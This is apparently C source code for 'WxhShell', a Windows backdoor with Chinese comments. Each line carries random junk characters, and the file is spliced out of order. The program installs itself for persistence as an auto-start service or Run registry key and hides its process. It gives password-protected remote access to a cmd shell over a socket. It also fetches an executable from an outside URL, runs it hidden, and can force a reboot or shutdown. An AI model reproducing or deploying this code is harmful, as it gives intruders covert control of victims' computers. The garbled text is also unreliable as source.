    if(Boot(SHUTDOWN)) r_6ZO&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6@0OQb  
    else { zZ323pq  
    closesocket(wsh); |! E)GahM  
    ExitThread(0); 2!J&+r  
    } QTXt8I  
    break; 4'A!; ]:  
    } g($DdKc|g  
  // 获取shell }n2M G  
  case 's': { \EtQ5T*u  
    CmdShell(wsh); =i*;VFc  
    closesocket(wsh); (/j/>9iro  
    ExitThread(0); c+$*$|t=v`  
    break; Ix=}+K/  
  } YccH+[X;  
  // 退出 O-I[igNl  
  case 'x': { v,{yU\)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ft KTnK.  
    CloseIt(wsh); /qGf 1MHD  
    break; S4Ww5G?.  
    } 8UyMVY  
  // 离开 ;he"ph=>  
  case 'q': { "4+ WZR]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #32"=MfQn  
    closesocket(wsh); I3mGo  
    WSACleanup(); -w_QJ_z_  
    exit(1); N@1+O,o  
    break; FrYqaP  
        } D\s WZ  
  } Oz`BEyb]{  
  } &c:Ad% z  
5^lxj~ F  
  // 提示信息 orfO^;qTY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l6kWQpV  
} \$\ENQ;Nk  
  } ()+ <)hg}2  
WDPb!-VT  
  return; dEA6   
} x+x40!+\  
|J} Mgb-4  
// shell模块句柄 V'T ,4  
int CmdShell(SOCKET sock) G <f@#[$'  
{ zN@} #Hk  
STARTUPINFO si; m~u5kbHOi=  
ZeroMemory(&si,sizeof(si)); WIf0z#JMJm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  @zz1hU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #+5pgD2C  
PROCESS_INFORMATION ProcessInfo; J}+6UlD  
char cmdline[]="cmd"; T}P".kpbS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H_ox_ u}  
  return 0; xp72>*_9&  
} ,Bo>E:u  
^[XYFQTL  
// 自身启动模式 {v2|g  
int StartFromService(void) xJZ>uTN  
{ A"D,Kg S  
typedef struct 9 ;Ox;;w  
{ 5HO9 +i  
  DWORD ExitStatus; w1"nffhO  
  DWORD PebBaseAddress; JJ'.((  
  DWORD AffinityMask; Q|L9g z[?  
  DWORD BasePriority; Dzs[GAQ]  
  ULONG UniqueProcessId;  <**y !2  
  ULONG InheritedFromUniqueProcessId; a@*S+3  
}   PROCESS_BASIC_INFORMATION; p2udm!)J  
EC8b=B<DE  
PROCNTQSIP NtQueryInformationProcess; OYmR<x5y/  
j;3[KLmuK%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +g]yA3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -'BA{#e}L  
GF%314Xu  
  HANDLE             hProcess; !0C^TCuG  
  PROCESS_BASIC_INFORMATION pbi; ixQJ[fH10  
,NVsn  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +d!v}aJ  
  if(NULL == hInst ) return 0; 16i "Yg!*  
Adgc% .#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A\#P*+k0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5N*Ux4M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /2Bi@syxK  
{aJJ `t  
  if (!NtQueryInformationProcess) return 0; )}'U`'q  
`8>Py~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ox'/` Mppw  
  if(!hProcess) return 0; X'% ;B  
nn9wdt@.]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S (N\cw$  
FEW_bP/4  
  CloseHandle(hProcess); A7`1-#  
NDAw{[.%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \Z/)Y;|mi0  
if(hProcess==NULL) return 0; &o97u4xi  
AT)a :i  
HMODULE hMod; h=_0+\%  
char procName[255]; ]B]*/  
unsigned long cbNeeded; qTo-pA G`  
u=/CRjot  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +@K09ge  
ZzBQe  
  CloseHandle(hProcess); ^~HQC*  
{; >Q.OX@  
if(strstr(procName,"services")) return 1; // 以服务启动 Tl|:9_:t  
(%:>T Q(  
  return 0; // 注册表启动 'EfR|7m  
} $4T2z-  
i^!ez5z  
// 主模块 d{de6 `  
int StartWxhshell(LPSTR lpCmdLine) rJInj>|{=  
{ 'vaLUy9]  
  SOCKET wsl; cl*PFQp9j  
BOOL val=TRUE; T'aec]u  
  int port=0; 7 +@qB]Bi<  
  struct sockaddr_in door; 2{.QjYw^  
}AvcoD/b  
  if(wscfg.ws_autoins) Install(); =FT98H2*|  
H<G4O02i_  
port=atoi(lpCmdLine); 3u\;j; Td!  
34R!x6W0  
if(port<=0) port=wscfg.ws_port; 1I}b|6 `  
;u(Du-Os!  
  WSADATA data; &h,5:u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7 #=}:3c  
7RvUH-S[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   lw(e3j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X5*C+ I=2  
  door.sin_family = AF_INET; Lh-`OmO0>F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =_8Tp~j  
  door.sin_port = htons(port); >u(>aV|A  
Q9`QL3LQD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z>[tF5  
closesocket(wsl);  X}6#II  
return 1; 1]T`n/d V  
} n!E2_  
:9|W#d{o  
  if(listen(wsl,2) == INVALID_SOCKET) { =)OC|?9 C\  
closesocket(wsl); )P>u9=?,=E  
return 1; *}):<nB$^  
} a/uo}[Y  
  Wxhshell(wsl); Zzl,gy70  
  WSACleanup(); OlQ,Ce  
=N|kn<h4  
return 0; 2_t=P|Uo  
te4= S  
} k 2%S`/:  
VZIR4J[\.  
// 以NT服务方式启动 SgE/!+{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~ekh1^evu  
{ 8)\M:s~7&  
DWORD   status = 0; '7im  
  DWORD   specificError = 0xfffffff; 7> Pgc  
:'r6 TVDW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $YG1z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [[)_BmS5r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~L+]n0*  
  serviceStatus.dwWin32ExitCode     = 0; [Id}4[={e  
  serviceStatus.dwServiceSpecificExitCode = 0; kYxS~Kd<  
  serviceStatus.dwCheckPoint       = 0; i3 )xX@3  
  serviceStatus.dwWaitHint       = 0; 1{2eY%+C  
cVq}c?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S C_|A9  
  if (hServiceStatusHandle==0) return; >AI<60/<  
} IlP:  
status = GetLastError(); YbMssd2Yg  
  if (status!=NO_ERROR) [D'Gr*5~{  
{ twk&-:'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M} .b" ljZ  
    serviceStatus.dwCheckPoint       = 0; Z]-WFU_ N  
    serviceStatus.dwWaitHint       = 0; -0,4eg j3  
    serviceStatus.dwWin32ExitCode     = status; M'1HA  
    serviceStatus.dwServiceSpecificExitCode = specificError; uf@U:V  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wy4q[$.4v  
    return; xKJ>gr"w#  
  } vg8O] YF  
iY.eJlfH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F1A1@{8bN  
  serviceStatus.dwCheckPoint       = 0; wTpD1"_R  
  serviceStatus.dwWaitHint       = 0; S>ugRasZ$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *PM}"s  
} ~/`X*n&  
Qm);6X   
// 处理NT服务事件,比如:启动、停止 jFj~]]j  
VOID WINAPI NTServiceHandler(DWORD fdwControl) nN ~GP"}  
{ "]]q} O?  
switch(fdwControl) Ob(leL>ow  
{ qiNliJ>40E  
case SERVICE_CONTROL_STOP: ;1LG&h,K  
  serviceStatus.dwWin32ExitCode = 0; d~[UXQC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gGKKs&n7  
  serviceStatus.dwCheckPoint   = 0; ~+m,im8}  
  serviceStatus.dwWaitHint     = 0; @ u1Q-:  
  { ?*K<*wBw#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +?e}<#vd'?  
  } 4 10:%WGc  
  return; m,NMTyJoz  
case SERVICE_CONTROL_PAUSE: aii'}c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; HP$K.a7H  
  break; C.E[6$oVc  
case SERVICE_CONTROL_CONTINUE: ${e&A^h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %\yK5V5  
  break; #,P(isEZ"  
case SERVICE_CONTROL_INTERROGATE: #^\}xn" [  
  break; MYTS3(  
}; .S|-4}G(6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d[U1.SNL  
} &HxT41pku  
\Ut S>4w\  
// 标准应用程序主函数 )_O.{$ to  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |E|T%i^}./  
{ aL$j/SC  
/'+4vXc@  
// 获取操作系统版本 U$$3'n  
OsIsNt=GetOsVer(); s=\7)n=,M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); nh|EZp]  
*dVD  
  // 从命令行安装 2;R/.xI6v  
  if(strpbrk(lpCmdLine,"iI")) Install(); !pS~'E&q  
t>@yv#  
  // 下载执行文件 K-<n`zg3  
if(wscfg.ws_downexe) { Wy,"cT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1Q_ ``.M  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2?H@$-x>  
} 6)+9G_  
r &c_4%y  
if(!OsIsNt) { Znq(R8BMW  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q^q=!/qQ  
HideProc(); oP,RlR  
StartWxhshell(lpCmdLine); N  I3(  
} ;<VR2U`  
else 5EfY9}dl  
  if(StartFromService()) Qq>ElQ@  
  // 以服务方式启动 DlS&qFs  
  StartServiceCtrlDispatcher(DispatchTable); ec`>KuY  
else (mY(\mu}  
  // 普通方式启动 9`,,%vdj  
  StartWxhshell(lpCmdLine); _jk|}IB;X  
eFes+i(35  
return 0; U!_sh<  
} x:vrK#8D>  
`lvh\[3^  
gBfX}EK7F  
78^Y;2 P]W  
=========================================== _i.({s&_9  
-D$3!ccX  
KdS eCeddW  
=sL(^UISl  
t0+t9w/fTP  
69?I?,7  
" G@;Nz i89  
0\QYf0o   
#include <stdio.h> ^CO#QnB @  
#include <string.h> "C?:T'dW  
#include <windows.h> THb A(SM  
#include <winsock2.h> x ru(Le}E  
#include <winsvc.h> M3)v-"  
#include <urlmon.h> 6_pDe  
ZyZl\\8U  
#pragma comment (lib, "Ws2_32.lib") S_`W@cp[  
#pragma comment (lib, "urlmon.lib") XlE$.  
2f s9JP{^0  
#define MAX_USER   100 // 最大客户端连接数 sn2r >m3  
#define BUF_SOCK   200 // sock buffer OE5X8DqQe  
#define KEY_BUFF   255 // 输入 buffer 1w(<0Be  
yl[2et  
#define REBOOT     0   // 重启 tbL1g{Dz,  
#define SHUTDOWN   1   // 关机 ,ZLG7e  
Yjpb+}  
#define DEF_PORT   5000 // 监听端口 9Kq<\"7Bmz  
k0gJ('zah  
#define REG_LEN     16   // 注册表键长度 M|$H+e } :  
#define SVC_LEN     80   // NT服务名长度 (*LTq C  
hQ\#Fhu7  
// 从dll定义API GZ; Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {\ A_%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Vj?*= UL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l!xgtP K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  pb,{$A  
ddGkk@CA  
// wxhshell配置信息 0V{>)w!Fo  
struct WSCFG { JDIz28Ww  
  int ws_port;         // 监听端口 I8XGU)  
  char ws_passstr[REG_LEN]; // 口令 =>E44v  
  int ws_autoins;       // 安装标记, 1=yes 0=no E&}H\zt#  
  char ws_regname[REG_LEN]; // 注册表键名 WBIQ%XB'  
  char ws_svcname[REG_LEN]; // 服务名 ^!zJf7(+<>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ! hOOpZ f7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "j *fVn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D/+@d:-G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no S(q4OQ B{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s?1-$|*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &utS\-;G  
s (l+{b &  
}; ee__3>H"/  
SLbavP#G  
// default Wxhshell configuration :Kt{t46)  
struct WSCFG wscfg={DEF_PORT, D/ NIn=>j  
    "xuhuanlingzhe", _dH[STT  
    1, gu~-}  
    "Wxhshell", x3:ZB  
    "Wxhshell", ?w|\ 7T.?  
            "WxhShell Service", d1C/u@8^  
    "Wrsky Windows CmdShell Service", 2=/-d$  
    "Please Input Your Password: ", ^@l5u=  
  1, i&AXPq>`  
  "http://www.wrsky.com/wxhshell.exe", kC,DW%Ls  
  "Wxhshell.exe" 8. ~Euz  
    }; A=@V LU4%  
*o2_EqXL*  
// 消息定义模块 3oNt]2w/'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J}93u(T5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `zV-1)=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `s|\" @2  
char *msg_ws_ext="\n\rExit."; .*clY  
char *msg_ws_end="\n\rQuit."; QvyUd%e'5A  
char *msg_ws_boot="\n\rReboot..."; P89Dg/P  
char *msg_ws_poff="\n\rShutdown..."; Jq=>H@il  
char *msg_ws_down="\n\rSave to "; 8?]%Q i   
cmC&s'/8`D  
char *msg_ws_err="\n\rErr!"; Jg?pW:}R  
char *msg_ws_ok="\n\rOK!"; `04Y ;@w  
jAK`96+D~b  
char ExeFile[MAX_PATH]; K;(|v3g6  
int nUser = 0; .x9nWa  
HANDLE handles[MAX_USER]; .Jnp{Tet  
int OsIsNt; Y7IlqC`i  
%.r5E2'  
SERVICE_STATUS       serviceStatus; zv3<i (  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1tK6lrhj  
Kk"B501  
// 函数声明 A?<"^<A^  
int Install(void); q'U-{~q%  
int Uninstall(void); n ;$}pg ~  
int DownloadFile(char *sURL, SOCKET wsh); [pyXX>:M  
int Boot(int flag); bB[*\  
void HideProc(void); hJL0M!  
int GetOsVer(void); R,k[Kh  
int Wxhshell(SOCKET wsl); 6!Ap;O^*  
void TalkWithClient(void *cs); j$/uJ`  
int CmdShell(SOCKET sock); $DMu~wwfG  
int StartFromService(void); iH -x  
int StartWxhshell(LPSTR lpCmdLine); (]# JpQ  
^[,1+WS%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y3F.hk}O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f0s<Y  
7G #e~,M5  
// 数据结构和表定义 !t [%'!v  
SERVICE_TABLE_ENTRY DispatchTable[] = nV6g]#~ @  
{ LZ<( :S  
{wscfg.ws_svcname, NTServiceMain}, `oI/;&  
{NULL, NULL} #esu@kMU`  
}; X0J]6|du.  
^bgm0,M  
// 自我安装 ?p\II7   
int Install(void) hdWp  
{ J!gWRw5  
  char svExeFile[MAX_PATH]; pHbguoH,  
  HKEY key; o\Vt $  
  strcpy(svExeFile,ExeFile); sA7K ;J})  
Rhxm)5+  
// 如果是win9x系统,修改注册表设为自启动 m##z  
if(!OsIsNt) { AG!a=ufc0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MnsWB[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rnrx%Q  
  RegCloseKey(key); Z["nY&.sI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~.=!5Ry  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4BL,/(W] x  
  RegCloseKey(key); 9'r3L)[  
  return 0; :JG}%  
    } ?;QKe0I^  
  } FbT&w4Um=  
} Q`fA)6U  
else { !6`nN1A  
zEL[%(fnc  
// 如果是NT以上系统,安装为系统服务 OnPLz"-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); G U/k^ Qy  
if (schSCManager!=0) 2\W<EWJ@  
{ M L_J<|,J  
  SC_HANDLE schService = CreateService S6:gow(wU  
  ( d-2I_ )9  
  schSCManager, -5B([jHgR  
  wscfg.ws_svcname, 5?Ao9Q]@  
  wscfg.ws_svcdisp, n;Wf|>  
  SERVICE_ALL_ACCESS, GM92yi!8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r_CN/a  
  SERVICE_AUTO_START, VL1z$<vVXt  
  SERVICE_ERROR_NORMAL, &3/H P)*<]  
  svExeFile, K\r=MkA.>  
  NULL, h^X.e[  
  NULL, [vT,zM  
  NULL, r>eXw5Pr7  
  NULL, ZdzGJ[$  
  NULL ,6)y4=8 L  
  ); cHd39H9  
  if (schService!=0) )[Cm*Xxa$  
  { FNO lR>0e  
  CloseServiceHandle(schService); Ct33S+y  
  CloseServiceHandle(schSCManager); L{Zy7O]"d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f%l#g]]  
  strcat(svExeFile,wscfg.ws_svcname); =ZL2 0<TeH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M57(,#g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \'b- ;exH  
  RegCloseKey(key); Darkj>$\  
  return 0; q+Q)IVaU81  
    } 5jk4k c  
  } <C xet~x  
  CloseServiceHandle(schSCManager); <H#K`|Ag  
} 9(]j e4Cn  
} (\ %y)  
s2kynQ#a  
return 1; |U0@(H  
} u' ][3  
-|mRJVl8  
// 自我卸载 } 4^UVdz  
int Uninstall(void) vnpX-c  
{ ybkN^OEJ  
  HKEY key; dy'?@Lj;  
["9$HL  
if(!OsIsNt) { 548BM^^"r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z2 4 m  
  RegDeleteValue(key,wscfg.ws_regname); d_hcv|%  
  RegCloseKey(key); HB:i0m2fJW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'Mtu-\  
  RegDeleteValue(key,wscfg.ws_regname); nrS_t y  
  RegCloseKey(key); tDVdl^#  
  return 0; :gC2zv  
  } .(ir2g  
} >Fh@:M7z  
} pj6Cvq4bD  
else { a4YyELXe  
FW,D\51pTP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L&%iY7sC`  
if (schSCManager!=0) }vIm C [  
{ RCr:2 Iz  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m~A/.t%=  
  if (schService!=0) 2} -W@R  
  { c#Bde-dh  
  if(DeleteService(schService)!=0) { V"XN(Fd^  
  CloseServiceHandle(schService); WDq3K/7\  
  CloseServiceHandle(schSCManager); JZ [&:  
  return 0; 511q\w M  
  } Ns_d10rZ.  
  CloseServiceHandle(schService); WP9=@X Z  
  } )g9qkQ8q  
  CloseServiceHandle(schSCManager); 4(]k=c1<  
} "-sz7}Mb  
} o\N}?Z,Kk  
Yc}b&  
return 1; Rx.0P6s  
} vbp)/I-h  
n >'}tT)U  
// 从指定url下载文件 (0r6_8e6xv  
int DownloadFile(char *sURL, SOCKET wsh) K""04Ew*pV  
{ (;N_lF0  
  HRESULT hr; pFh2@O  
char seps[]= "/"; p5\b&~ g  
char *token; &x3y.}1  
char *file; fi1UUJ0 U;  
char myURL[MAX_PATH]; _kS us  
char myFILE[MAX_PATH]; i \~4W$4I  
%Vq@WF  
strcpy(myURL,sURL); Kfh"XpWc$  
  token=strtok(myURL,seps); J{Jxb1:c  
  while(token!=NULL) %PpB$  
  { R= l/EK  
    file=token; P;GUGG*W  
  token=strtok(NULL,seps); fg2}~ 02n  
  } N.]8qzW  
51A>eU|  
GetCurrentDirectory(MAX_PATH,myFILE); ]Q+Tm2{  
strcat(myFILE, "\\"); PF~&!~S>W  
strcat(myFILE, file); )9$Xfq/  
  send(wsh,myFILE,strlen(myFILE),0); :Vg,[\I{  
send(wsh,"...",3,0); B N=,>-O%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Cpl\}Qn  
  if(hr==S_OK) 8r5j~Df  
return 0; ev>: 3_ s  
else =8]'/b  
return 1; j$,`EBf`:<  
g#e"BBm=A  
} Kxg09\5i  
wXP1tM8T  
// 系统电源模块 ^;'3(m=  
int Boot(int flag) ^vzNs>eJ  
{ o_cj-  
  HANDLE hToken; E7N1B*KI  
  TOKEN_PRIVILEGES tkp; u{si  
fQ<V_loP.@  
  if(OsIsNt) { iS"rMgq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (+_Amw!W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M/BBNT  
    tkp.PrivilegeCount = 1; RtSk;U1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^OUkFH;dG?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  hHdC/mR  
if(flag==REBOOT) { 9 eP @}C6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]LD@I;(_  
  return 0; 9%4rO\q  
} "B.l j)  
else { )ZT&V I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zU(U^  
  return 0; U!('`TYe  
} ) yjHABGJ  
  } fPst<)  
  else { DJeG  
if(flag==REBOOT) { rXA7<_Vg  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {1FY HM^  
  return 0; `74A'(u_  
} %hY+%^k.  
else { mWtwp-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \OOj]gAe  
  return 0; srUpG&Bcx  
} JTx&_Ok#  
} @L`t/OD  
3dXyKi  
return 1; @}#$<6|  
} C0'Tua'  
?!Y2fK=h0  
// win9x进程隐藏模块 KVJiCdg-  
void HideProc(void) Z[|(}9v?~  
{ Ucv-}oa-?  
JI(8{ f  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \s [Uq  
  if ( hKernel != NULL ) JrO2"S  
  { xZBmQ:s',S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R:=i/P/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); NFsMc0{  
    FreeLibrary(hKernel); Aj-}G^>#  
  } koe&7\ _@  
y 2&G0y  
return; BH\qm (X  
} Rom|Bqo;  
j&ddpS(s  
// 获取操作系统版本 K" Y,K  
int GetOsVer(void) M++*AZ  
{ 0/;T\9  
  OSVERSIONINFO winfo; LDO@$jg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); % `\8z  
  GetVersionEx(&winfo); zkB_$=sbn#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qd"*Td  
  return 1; #|)GarDG  
  else L Ktr>u  
  return 0; 5{VrzzOK}  
} g;Bq#/w  
-_v[oqf$  
// 客户端句柄模块 zAS&L%^tV  
int Wxhshell(SOCKET wsl) h$y1"!N(  
{ }fUV*U:3  
  SOCKET wsh; ++BVn[1  
  struct sockaddr_in client; <5G*#0gw  
  DWORD myID; RR*<txdN  
e$fxC-sZ  
  while(nUser<MAX_USER) yD$rls:v<  
{ g.Z>9(>;Y  
  int nSize=sizeof(client); 9["yL{IPe  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |&o%c/  
  if(wsh==INVALID_SOCKET) return 1; p~En~?<  
XQ.JzzY$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^3F[^#"  
if(handles[nUser]==0) .^fq$7Y}7  
  closesocket(wsh); B/&axm%0  
else ^;!A`t  
  nUser++; {eMu"<  
  } hT#[[md"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O\-cLI<h2  
V.>'\b/#  
  return 0; $*{PUj  
} *4dA(N\k"  
 \|L@  
// 关闭 socket A !x" *  
void CloseIt(SOCKET wsh) fYl$$.  
{ y/'2WO[  
closesocket(wsh); 7_?:R2]n  
nUser--; p3qlVE  
ExitThread(0); |JtdCP{  
} oOnk,U  
i\ X Ok!  
// 客户端请求句柄 +MIDq{B  
void TalkWithClient(void *cs) =(3Qbb1i  
{ Y, )'0O  
j|A *rzL8  
  SOCKET wsh=(SOCKET)cs; { %vX/Ek  
  char pwd[SVC_LEN]; -"UK NB!  
  char cmd[KEY_BUFF]; g>CF|Wj  
char chr[1]; e%afK@c  
int i,j; ]3BTL7r  
cO.U*UTmX  
  while (nUser < MAX_USER) {  I QS|  
&&\ h%-Jc  
if(wscfg.ws_passstr) { hbD@B.PD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;$wS<zp6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); By]XD~gcP  
  //ZeroMemory(pwd,KEY_BUFF); 4/&Us  
      i=0; zQMsS  
  while(i<SVC_LEN) { .9#4qoM'  
]8NNxaE3(  
  // 设置超时 h \hQ  
  fd_set FdRead; hWf Jh0I  
  struct timeval TimeOut; :Ag]^ot  
  FD_ZERO(&FdRead); eu@-v"=w  
  FD_SET(wsh,&FdRead); !h4S`2oZ/  
  TimeOut.tv_sec=8; Z,M?!vK  
  TimeOut.tv_usec=0; :bkACuaEn  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j7K9T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^/47 *vcN5  
< N}UwB&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9x0B9&  
  pwd=chr[0]; R rs?I,NV  
  if(chr[0]==0xd || chr[0]==0xa) { /pan{.< k  
  pwd=0; R]VY PNns  
  break; f ?_YdVZ  
  } 1mm/Ssw:C  
  i++; %*wJODtB|  
    } ,%w_E[2  
=QHW>v  
  // 如果是非法用户,关闭 socket MCD]n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FbO-K-  
} 0}2Uj>!i  
&W:Wv,3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a,b ;H(em  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~O;!y%  
]:(>r&'  
while(1) { 'g$~ij ;x  
O&.^67\|  
  ZeroMemory(cmd,KEY_BUFF); 1k6f|Al -  
nud,ag  
      // 自动支持客户端 telnet标准   5V!L~#  
  j=0;  LKieOgX  
  while(j<KEY_BUFF) { B(w k $2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~ nNsq(4  
  cmd[j]=chr[0]; A8&yB;T$y  
  if(chr[0]==0xa || chr[0]==0xd) { 3Q*K+(`{  
  cmd[j]=0; .\= GfF'  
  break; { :xINQ=}D  
  } {(]B{n  
  j++; hSSF]  
    } O Ul+es  
Vh$~]>t:f  
  // 下载文件 LH@)((bi4v  
  if(strstr(cmd,"http://")) { V|zzj[c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "5C)gxI^  
  if(DownloadFile(cmd,wsh)) b)9bYkd  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); b)J(0,9`G"  
  else O|m-Uz"+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *q_ .y\D  
  } S1(. AI~  
  else { 7GY[l3arxv  
y;<^[  
    switch(cmd[0]) { `An|a~G1  
